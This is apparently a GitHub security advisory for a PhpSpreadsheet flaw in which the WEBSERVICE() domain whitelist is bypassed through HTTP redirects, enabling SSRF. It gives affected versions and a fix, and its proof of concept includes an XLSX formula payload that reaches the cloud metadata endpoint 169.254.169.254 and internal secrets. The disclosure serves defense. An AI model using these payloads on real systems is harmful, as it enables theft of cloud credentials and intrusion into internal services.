GHSA-6HQ5-7373-42RG
Vulnerability from github – Published: 2026-07-23 14:55 – Updated: 2026-07-23 14:55Summary
The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.
Details
In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.
The stream context does not disable redirect following:
$ctxArray = [
'http' => [
'user_agent' => 'Mozilla/5.0 ...',
// follow_location defaults to true
// max_redirects defaults to 20
],
];
PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.
Vulnerable code (Calculation/Web/Service.php):
// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}
// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);
Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.
PoC
Prerequisites:
- Application uses PhpSpreadsheet >= 5.4.0
- Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
- Application calls $cell->getCalculatedValue() on uploaded XLSX files
Attack steps:
-
Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
-
Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
- Upload the XLSX to the target application. The calculation engine:
- Validates
whitelisted-domain.comagainst the whitelist — passes - Calls
file_get_contents("http://whitelisted-domain.com/redirect?url=...") file_get_contentsfollows the 302 redirect tohttp://169.254.169.254/latest/meta-data/— no re-validation- Returns the cloud metadata response as the cell's calculated value
Lab reproduction:
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}
Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).
Impact
An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:
- Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
- Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via
http://169.254.169.254/ - Access internal services not exposed to the internet
- Port-scan internal networks via any whitelisted hostname (port is not validated)
This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.
Attack scenarios: - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check
Suggested Fix
Disable redirect following in the stream context:
$ctxArray = [
'http' => [
'user_agent' => '...',
'follow_location' => false,
'max_redirects' => 0,
],
];
Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.
Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.
Related
This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.
Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.17"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.5"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59931"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T14:55:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL\u0027s hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL\u0027s host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n \u0027http\u0027 =\u003e [\n \u0027user_agent\u0027 =\u003e \u0027Mozilla/5.0 ...\u0027,\n // follow_location defaults to true\n // max_redirects defaults to 20\n ],\n];\n```\n\nPHP\u0027s HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check \u2014 runs ONCE on the initial URL\n$domainWhiteList = $cell?-\u003egetWorksheet()-\u003egetParent()?-\u003egetDomainWhiteList() ?? [];\n$host = $parsed[\u0027host\u0027] ?? \u0027\u0027;\nif (!in_array($host, $domainWhiteList, true)) {\n return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request \u2014 follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet \u003e= 5.4.0\n- Application calls `$spreadsheet-\u003esetDomainWhiteList([...])` with at least one domain\n- Application calls `$cell-\u003egetCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n\u003cc r=\"A1\"\u003e\n \u003cf\u003e_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")\u003c/f\u003e\n\u003c/c\u003e\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n - Validates `whitelisted-domain.com` against the whitelist \u2014 **passes**\n - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` \u2014 **no re-validation**\n - Returns the cloud metadata response as the cell\u0027s calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 \u2192 internal target\n\n# Test 1: Direct internal access \u2014 BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n\u2192 Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain \u2014 BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n\u2192 Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF \u2014 the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell\u0027s calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n \u0027http\u0027 =\u003e [\n \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n \u0027follow_location\u0027 =\u003e false,\n \u0027max_redirects\u0027 =\u003e 0,\n ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop\u0027s hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions \u003c 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---",
"id": "GHSA-6hq5-7373-42rg",
"modified": "2026-07-23T14:55:48Z",
"published": "2026-07-23T14:55:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.